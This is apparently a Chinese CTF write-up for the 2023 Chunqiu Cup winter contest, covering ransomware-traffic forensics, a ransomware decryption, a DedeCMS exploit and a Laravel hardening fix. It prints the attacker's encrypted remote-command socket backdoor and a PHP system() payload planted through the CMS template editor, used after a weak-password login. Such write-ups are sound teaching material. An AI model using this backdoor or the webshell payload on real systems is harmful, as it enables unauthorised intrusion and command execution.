+ + + + + + + + + + +
1. 勒索流量
过滤HTTP
流量,发现先是扫描文件,接着试探上传多种木马文件
最后成功上传了.user.ini
一句话木马
接着攻击者利用一句话木马写入了Webshell
解密发现是蚁剑马
根据蚁剑马的规则,只需要拿出参数,去掉前两个字符再解base64
即可解密流量,依次解密流量
发现攻击者上传了一个勒索信文件,文件内容如图
接着在后面的流量包中,攻击者上传了一个s3cerT.txt
文件,内容为R@ns0mwar3_V1ru5
接着解密,
发现攻击者上传了一个server.py
文件,server.py
内容为
import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib
def calculate_md5(string):
md5_hash = hashlib.md5()
md5_hash.update(string.encode('utf-8'))
md5_hex = md5_hash.hexdigest()
return md5_hex
from Crypto.Cipher import ARC4
import base64
import json
with open("./s3creT.txt", "r") as f:
key = f.read()
key = calculate_md5(key)
def rc4_encrypt(data, key1):
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.encrypt(data.encode('utf-8'))
res = base64.b64encode(res)
res = str(res, 'utf-8')
return res
def rc4_decrypt(data, key1):
data = base64.b64decode(data)
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.decrypt(data)
res = str(res, 'gbk', errors='ignore')
return res
def t1(data):
import re
from datetime import datetime, timedelta
current_time = datetime.now()
target_time = current_time.replace(second=0, microsecond=0)
timestamp = int(target_time.timestamp())
key1 = hex(timestamp)[2:].zfill(8)
key1 = re.findall(r'.{2}', key1)
key1 = [int(i, 16) for i in key1]
data = list(data)
for i in range(len(data)):
data[i] = chr(ord(data[i]) ^ key1[i % 4])
data = ''.join(data)
return data
def decrypt(data, key):
data = t1(data)
data = rc4_decrypt(data, key)
return data
def encrypt(data, key):
data = rc4_encrypt(data, key)
data = t1(data)
return data
def system(cmd):
res = os.popen(cmd).read()
return res if res else "NoneResult"
def main():
ip = '192.168.31.42'
port = 8899
socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
socket_server.bind((ip, port))
socket_server.listen(1)
while True:
conn, addr = socket_server.accept()
with conn:
print("connect::", addr)
try:
while True:
data = conn.recv(102400)
# print("server recevie peername and data:", conn.getpeername(), data.decode())
if data:
data = data.decode()
data = decrypt(data, key)
data = json.loads(data)
if data["opcode"] == "shell":
print("shellCMD::", data["msg"])
res = system(data["msg"])
print("res::", res)
conn.sendall(encrypt(res, key).encode())
else:
break
except ConnectionResetError as e:
print("è¿ç¨è¿æ¥æå¼")
if __name__ == '__main__':
main()
分析后可以知道这是一个socket
通信的脚本,采用RC4
加密,key
来自s3creT.txt
文件内容的md5
结果,并且用xor
异或时间戳
但是继续追踪流发现,攻击者修改了该server
脚本
import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib
def calculate_md5(string):
md5_hash = hashlib.md5()
md5_hash.update(string.encode('utf-8'))
md5_hex = md5_hash.hexdigest()
return md5_hex
from Crypto.Cipher import ARC4
import base64
import json
with open("./s3creT.txt", "r") as f:
key = f.read()
key = calculate_md5(key)
def rc4_encrypt(data, key1):
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.encrypt(data.encode('utf-8'))
res = base64.b64encode(res)
res = str(res, 'utf-8')
return res
def rc4_decrypt(data, key1):
data = base64.b64decode(data)
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.decrypt(data)
res = str(res, 'gbk', errors='ignore')
return res
def t1(data):
import re
from datetime import datetime, timedelta
current_time = datetime.now()
target_time = current_time.replace(second=0, microsecond=0)
timestamp = int(target_time.timestamp())
key1 = hex(timestamp)[2:].zfill(8)
key1 = re.findall(r'.{2}', key1)
key1 = [int(i, 16) for i in key1]
data = list(data)
for i in range(len(data)):
data[i] = chr(ord(data[i]) ^ key1[i % 4])
data = ''.join(data)
return data
def decrypt(data, key):
data = t1(data)
data = rc4_decrypt(data, key)
return data
def encrypt(data, key):
data = rc4_encrypt(data, key)
data = t1(data)
return data
def system(cmd):
res = os.popen(cmd).read()
return res if res else "NoneResult"
def main():
ip = '192.168.31.42'
port = 9999
socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
socket_server.bind((ip, port))
socket_server.listen(1)
while True:
conn, addr = socket_server.accept()
with conn:
print("connect::", addr)
try:
while True:
data = conn.recv(102400)
# print("server recevie peername and data:", conn.getpeername(), data.decode())
if data:
data = data.decode()
data = decrypt(data, key)
data = json.loads(data)
if data["opcode"] == "shell":
print("shellCMD::", data["msg"])
res = system(data["msg"])
print("res::", res)
conn.sendall(encrypt(res, key).encode())
else:
break
except ConnectionResetError as e:
print("è¿ç¨è¿æ¥æå¼")
if __name__ == '__main__':
main()
其中发现脚本中通过socket
的9999
端口通信,直接过滤tcp.port==9999
,拿出data
手动解密,基本上可以直接套用里面的解密函数,只是需要手动设置一下时间戳,时间戳通过Epoch Time
来获得
依次copy
走里面的data
和时间戳,放在下面的脚本中即可依次解密
import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib
def calculate_md5(string):
md5_hash = hashlib.md5()
md5_hash.update(string.encode('utf-8'))
md5_hex = md5_hash.hexdigest()
return md5_hex
from Crypto.Cipher import ARC4
import base64
import json
# with open("./s3creT.txt", "r") as f:
# key = f.read()
key="R@ns0mwar3_V1ru5"
key = calculate_md5(key)
def rc4_encrypt(data, key1):
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.encrypt(data.encode('utf-8'))
res = base64.b64encode(res)
res = str(res, 'utf-8')
return res
def rc4_decrypt(data, key1):
data = base64.b64decode(data)
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.decrypt(data)
res = str(res, 'gbk', errors='ignore')
return res
def t1(data,time):
import re
from datetime import datetime, timedelta
# current_time = datetime.now()
current_time = datetime.fromtimestamp(time)
target_time = current_time.replace(second=0, microsecond=0)
timestamp = int(target_time.timestamp())
key1 = hex(timestamp)[2:].zfill(8)
key1 = re.findall(r'.{2}', key1)
key1 = [int(i, 16) for i in key1]
data = list(data)
for i in range(len(data)):
data[i] = chr(ord(data[i]) ^ key1[i % 4])
data = ''.join(data)
return data
def decrypt(data, key,time):
data = t1(data,time)
data = rc4_decrypt(data, key)
return data
def encrypt(data, key):
data = rc4_encrypt(data, key)
data = t1(data)
return data
def system(cmd):
res = os.popen(cmd).read()
return res if res else "NoneResult"
if __name__ == '__main__':
data="16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381"
data=bytes.fromhex(data)
print(data)
data=data.decode("utf-8")
res=decrypt(data,key,1705562796.602401000)
print(res)
2. Lock-AI
-
程序进程要成功运行有几个条件
1.
ZwSetInformation
反调试器2.计算机名等于Ai-Node
3.计算机用户名等于
NodeUser
4.CPUID 返回
_GenericVirt
5.当前ProcessID在1000-3000
patch 完后即可加密
-
后面的代码发现了OpenSSL特征,通过对比OpenSSL源码发现代码进行了AES-ECB加密。 -
编写 exp.py
,获得flag.png
import ctypes
from Crypto.Cipher import AES
libc = ctypes.CDLL('msvcrt.dll')
rand = libc.rand
srand = libc.srand
data = open("flag.png.enc","rb").read()
for i in range(1000,3001,4):
srand(i)
key = b''
for _ in range(32):
key += int.to_bytes(rand() & 0xff,length=1,byteorder='little')
cipher = AES.new(key, AES.MODE_ECB)
plain = cipher.decrypt(data)
if plain[:4] == b'x89PNG':
open('flag.png','wb').write(plain)
exit(0)
3. ezdede
目前最新版本的DedeCMS V5.7.112,访问题目环境:
访问/dede/目录登录后台,这里我把验证码关了,可以直接爆破,账号密码为admin/admin@123:
登录后进入模板编辑->标签源码管理:
随便选择一个php文件进行编辑:
填入代码:
<?php
(s.y.s.t.e.m)(base64_decode("Y2F0IC9mbGFn"));
点击保存之后就修改成功了 :
文件路径在include/taglib/文件夹下,访问即可获取flag:
4. best_practice
本RDG场景存在的漏洞如下:
-
项目根目录配置用的.env文件可以被访问,导致mysql的账户名密码泄露,可以通过项目自带的adminer访问到数据库 -
laravel的默认日志/storage/logs/laravel.log泄露 -
vendor目录下的cli测试文件可以被外界访问,导致反序列化的产生
修补方案:
首先,需要把整个项目的启动文件index.php移动到public目录里,这里也要注意文件包含的路径,之前的index.php在根目录下,包含autoload.php是require __DIR__.'/vendor/autoload.php';
,而这里要加一个../
。
最后修补后的index.php文件内容如下:
<?php
use IlluminateContractsHttpKernel;
use IlluminateHttpRequest;
define('LARAVEL_START', microtime(true));
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
require $maintenance;
}
require __DIR__.'/../vendor/autoload.php';
$app = require_once __DIR__.'/../bootstrap/app.php';
$kernel = $app->make(Kernel::class);
$response = $kernel->handle(
$request = Request::capture()
)->send();
$kernel->terminate($request, $response);
执行
rm /app/index.php && cp ./index.php /app/public/index.php
然后要保证adminer可访问,把adminer移动到public目录下,执行
mv /app/adminer.php /app/public/adminer.php
同时要修改前端的模板文件,让静态文件路径正常渲染,这里前端文件代码省略,主要是把静态文件路径前边的public删掉(checker里有对图片能否正常渲染的检测)
cp app.blade.php /app/resources/views/layouts/app.blade.php
cp index.blade.php /app/resources/views/index.blade.php
然后停掉php的进程,切换到public目录再重启进程
pkill -f "php -S"
cd /app/public && /usr/local/bin/php -S 0.0.0.0:80 &
这样便可以修复上述所有漏洞。
GAME福利
为了让更多选手可以回味本次比赛的精彩过程,持续学习和训练,春秋GAME团队将本次的ctf题目部署到i春秋CTF大本营的“2023年春秋杯网络安全联赛冬季赛”,欢迎各位师傅交流讨论。
春秋杯网络安全联赛将持续打造网络安全新社区,希望更多参赛选手通过比赛结识志同道合的朋友以及交流经验和技巧,欢迎更多伙伴加入春秋杯赛事宇宙,期待大家再次相聚,继续挑战新高度,探索更广阔的宇宙星河!
春秋杯赛事交流QQ群:277328440;
春秋杯赛事交流群(微信群),进群请加微信:LNX131020
相关阅读
原文始发于微信公众号(春秋伽玛):【WP】2023年春秋杯冬季赛挑战题题目解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论